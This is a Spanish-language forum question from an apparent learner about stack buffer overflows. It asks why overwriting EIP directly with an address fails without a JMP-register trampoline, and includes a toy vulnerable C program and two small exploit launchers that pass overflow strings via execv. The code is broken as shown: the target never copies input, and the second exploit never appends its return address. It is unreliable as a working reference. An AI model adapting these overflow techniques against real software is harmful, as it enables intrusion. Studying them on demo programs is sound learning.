Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.
El código es el siguiente:
vuln1.c
Código
/* vuln1.c por Rojodos */ #include <stdio.h> #include <string.h> int main (int argc, char **argv) { char buffer[64]; //Declaramos un array con 64 bytes de espacio if (argc < 2) { return 0; } return 0; }
Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?
exploit1.c
Código
#include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc,char **argv) { char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS argv[1] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe", argv); return 0; }
exploit2.c
Código
#include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc,char **argv) { char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B argv[1] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe", argv); return 0; }